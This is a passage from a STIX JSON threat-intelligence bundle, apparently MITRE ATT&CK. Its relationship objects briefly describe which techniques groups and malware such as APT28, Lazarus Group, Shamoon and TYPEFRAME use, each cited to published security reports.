                    "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.",
                    "source_name": "RSA2017 Detect and Respond Adair"
                }
            ],
            "description": "(Citation: RSA2017 Detect and Respond Adair)",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.936Z",
            "created": "2017-05-31T21:33:27.060Z"
        },
        {
            "id": "relationship--f0b3c919-bf39-4bc9-9488-5f30d5407c54",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to create or enable accounts, such as <code>support_388945a0</code>.(Citation: aptsim)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://carnal0wnage.attackresearch.com/2012/09/more-on-aptsim.html",
                    "description": "valsmith. (2012, September 21). More on APTSim. Retrieved September 28, 2017.",
                    "source_name": "aptsim"
                }
            ],
            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--635cbe30-392d-4e27-978e-66774357c762",
            "type": "relationship",
            "modified": "2020-02-11T15:47:36.311Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--921b3245-0795-40cd-82e1-04f38bc42b14",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) retrieves additional malicious payloads from the C2 server.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "source_name": "Talos ROKRAT"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."
                }
            ],
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2021-03-29T19:50:54.272Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--b2496438-9431-40e5-8ca0-2ec713f342c3",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
            "relationship_type": "uses",
            "target_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
            "external_references": [
                {
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "source_name": "Symantec Sowbug Nov 2017"
                }
            ],
            "description": "(Citation: Symantec Sowbug Nov 2017)",
            "type": "relationship",
            "modified": "2019-03-25T16:57:02.873Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--1da0f3c7-d9e2-4379-a84c-782fc94a75d5",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
            "type": "relationship",
            "modified": "2020-01-24T14:33:05.824Z",
            "created": "2017-05-31T21:33:27.018Z"
        },
        {
            "id": "relationship--9015a88f-9442-41cb-8486-046b76cddc5d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Patchwork](https://attack.mitre.org/groups/G0040) embedded a malicious macro in a Word document and lured the victim to click on an icon to execute the malware.(Citation: TrendMicro Patchwork Dec 2017)(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "source_name": "TrendMicro Patchwork Dec 2017"
                },
                {
                    "source_name": "Volexity Patchwork June 2018",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/"
                }
            ],
            "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:53:11.331Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e362d1ad-5d36-4f6d-b2b0-63af2f5f08ff",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware creates a scheduled task entitled \u201cIE Web Cache\u201d to execute a malicious file hourly.(Citation: Citizen Lab Stealth Falcon May 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Citizen Lab Stealth Falcon May 2016",
                    "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.",
                    "url": "https://citizenlab.org/2016/05/stealth-falcon/"
                }
            ],
            "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-28T21:45:04.577Z",
            "created": "2017-05-31T21:33:27.073Z"
        },
        {
            "id": "relationship--9b88372d-4f3f-4442-906d-9ab07e22e781",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CORESHELL](https://attack.mitre.org/software/S0137) contains unused machine instructions in a likely attempt to hinder analysis.(Citation: FireEye APT28)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "source_name": "FireEye APT28"
                }
            ],
            "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
            "modified": "2020-03-17T00:47:59.913Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--8cbb1567-70c5-4daf-b163-cbc6cc40a794",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Strider](https://attack.mitre.org/groups/G0041) has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to acquire credentials any time a domain, local user, or administrator logs in or changes a password.(Citation: Kaspersky ProjectSauron Full Report)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.",
                    "source_name": "Kaspersky ProjectSauron Full Report"
                }
            ],
            "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42",
            "type": "relationship",
            "modified": "2020-03-25T20:54:32.602Z",
            "created": "2017-05-31T21:33:27.077Z"
        },
        {
            "id": "relationship--78f237da-f58b-4849-b2ee-cf1f3f7a1a42",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) actors obtain legitimate credentials using a variety of methods and use them to further lateral movement on victim networks.(Citation: Dell TG-3390)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
                    "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
                }
            ],
            "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "type": "relationship",
            "modified": "2019-07-14T21:15:55.270Z",
            "created": "2017-05-31T21:33:27.062Z"
        },
        {
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            "object_marking_refs": [
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            ],
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                {
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                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)",
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                {
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                    "description": "Guarnieri, C. (2015, June 19). Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag. Retrieved January 22, 2018.",
                    "source_name": "\u00dcberwachung APT28 Forfiles June 2015"
                }
            ],
            "description": "(Citation: \u00dcberwachung APT28 Forfiles June 2015)",
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                {
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                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) leverages social networking sites and cloud platforms (AOL, Twitter, Yandex, Mediafire, pCloud, Dropbox, and Box) for C2.(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)",
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                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                },
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                    "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html",
                    "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.",
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            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has inserted garbage characters into code, presumably to avoid anti-virus detection.(Citation: Proofpoint Leviathan Oct 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
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            ],
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                {
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                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, February 3). Emissary Trojan Changelog: Did Operation Lotus Blossom Cause It to Evolve?. Retrieved February 15, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/"
                }
            ],
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            "description": "Several [Ke3chang](https://attack.mitre.org/groups/G0004) backdoors achieved persistence by adding a Run key.(Citation: NCC Group APT15 Alive and Strong)",
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                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
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            ],
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            "relationship_type": "uses",
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            "description": "A [Gamaredon Group](https://attack.mitre.org/groups/G0047) file stealer can gather the victim's username to send to a C2 server.(Citation: Palo Alto Gamaredon Feb 2017)",
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            ],
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                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
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            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) checks the running processes on the victim\u2019s machine.(Citation: McAfee Gold Dragon)",
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                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
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            ],
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            "description": "[Dyre](https://attack.mitre.org/software/S0024) uses HTTPS for C2 communications.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)\t ",
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                {
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                    "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"
                },
                {
                    "source_name": "Malwarebytes Dyreza November 2015",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."
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                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/wiper-malware-analysis-attacking-korean-financial-sector/"
                }
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                {
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                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
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            "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has sent spearphishing attachments attempting to get a user to click.(Citation: Proofpoint Leviathan Oct 2017)",
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                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint Leviathan Oct 2017"
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            ],
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            "relationship_type": "uses",
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            "type": "relationship",
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            "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain a list of active connections and open ports.(Citation: Kaspersky ProjectSauron Technical Analysis)",
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                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
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            "type": "relationship",
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            "created": "2017-12-14T16:46:06.044Z"
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        {
            "id": "relationship--cc13f316-0f88-4ed1-8790-b13bc35be119",
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            "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) downloader code has included \"0\" characters at the end of the file to inflate the file size in a likely attempt to evade anti-virus detection.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)",
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                {
                    "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses",
                    "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.",
                    "source_name": "Secureworks BRONZE BUTLER Oct 2017"
                },
                {
                    "source_name": "Trend Micro Tick November 2019",
                    "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf",
                    "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."
                }
            ],
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            "relationship_type": "uses",
            "target_ref": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "type": "relationship",
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            "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia checks Registry keys within HKCU and HKLM to determine if certain applications are present, including SecureCRT, Terminal Services, RealVNC, TightVNC, UltraVNC, Radmin, mRemote, TeamViewer, FileZilla, pcAnyware, and Remote Desktop. Another [Lazarus Group](https://attack.mitre.org/groups/G0032) malware sample checks for the presence of the following Registry key:<code>HKEY_CURRENT_USER\\Software\\Bitcoin\\Bitcoin-Qt</code>.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: McAfee Lazarus Resurfaces Feb 2018)",
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                {
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                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "source_name": "Novetta Blockbuster"
                },
                {
                    "source_name": "Novetta Blockbuster Loaders",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"
                },
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/",
                    "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.",
                    "source_name": "McAfee Lazarus Resurfaces Feb 2018"
                }
            ],
            "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-12-11T17:47:22.879Z",
            "created": "2017-05-31T21:33:27.067Z"
        },
        {
            "id": "relationship--90e64a7a-42e6-4b95-ae85-5ac324d7f6e2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Starloader](https://attack.mitre.org/software/S0188) has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.(Citation: Symantec Sowbug Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Sowbug Nov 2017",
                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
                }
            ],
            "source_ref": "malware--96566860-9f11-4b6f-964d-1c924e4f24a4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T16:01:37.948Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--1bbb499c-81c8-4e94-8305-86b199e8298b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Wingbird](https://attack.mitre.org/software/S0176) side loads a malicious file, sspisrv.dll, in part of a spoofed lssas.exe service.(Citation: Microsoft SIR Vol 21)(Citation: Microsoft Wingbird Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf",
                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
                    "source_name": "Microsoft SIR Vol 21"
                },
                {
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Wingbird.A!dha",
                    "description": "Microsoft. (2017, November 9). Backdoor:Win32/Wingbird.A!dha. Retrieved November 27, 2017.",
                    "source_name": "Microsoft Wingbird Nov 2017"
                }
            ],
            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
            "type": "relationship",
            "modified": "2019-10-30T12:41:29.033Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--42914dfa-9644-4bf6-bb5f-45c0e3303d7b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can upload and download files to the victim\u2019s machine.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.247Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--38ea7367-26e7-4a6a-b735-e98e3a35450a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) accesses network share(s), enables share access to the target device, copies an executable payload to the target system, and uses a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) to execute the malware.(Citation: FireEye Shamoon Nov 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Shamoon Nov 2016",
                    "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541",
            "type": "relationship",
            "modified": "2019-04-24T23:59:16.311Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1d36c3e8-238f-46c6-9b20-9fb4cb5c75ba",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The <code>net start</code> command can be used in [Net](https://attack.mitre.org/software/S0039) to find information about Windows services.(Citation: Savill 1999)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://windowsitpro.com/windows/netexe-reference",
                    "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
                    "source_name": "Savill 1999"
                }
            ],
            "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-19T13:11:25.643Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--e71903c4-a7af-4317-adf0-10f76d3d4e15",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT28](https://attack.mitre.org/groups/G0007) regularly deploys both publicly available (ex: [Mimikatz](https://attack.mitre.org/software/S0002)) and custom password retrieval tools on victims.(Citation: ESET Sednit Part 2)(Citation: DOJ GRU Indictment Jul 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                },
                {
                    "url": "https://www.justice.gov/file/1080281/download",
                    "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.",
                    "source_name": "DOJ GRU Indictment Jul 2018"
                }
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T22:05:07.194Z",
            "created": "2017-05-31T21:33:27.039Z"
        },
        {
            "id": "relationship--17f9d6c8-f938-4532-b834-3834655911b8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dyre](https://attack.mitre.org/software/S0024) can detect sandbox analysis environments by inspecting the process list and Registry.(Citation: Symantec Dyre June 2015)(Citation: Malwarebytes Dyreza November 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dyre June 2015",
                    "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"
                },
                {
                    "source_name": "Malwarebytes Dyreza November 2015",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/",
                    "description": "hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."
                }
            ],
            "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6",
            "type": "relationship",
            "modified": "2020-06-15T20:49:55.655Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2f8d5603-0876-41dd-9fdb-ca9dc0ad6253",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[WINERACK](https://attack.mitre.org/software/S0219) can gather information on the victim username.(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104"
        },
        {
            "id": "relationship--cbb27eed-2e1c-4675-a077-28765060b349",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[yty](https://attack.mitre.org/software/S0248) packs a plugin with UPX.(Citation: ASERT Donot March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
                }
            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.209Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fe1c5e06-ea4b-4286-af2d-984a095f7924",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can search directories for files on the victim\u2019s machine.(Citation: US-CERT TYPEFRAME June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT TYPEFRAME June 2018",
                    "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.",
                    "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A"
                }
            ],
            "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T13:49:31.232Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
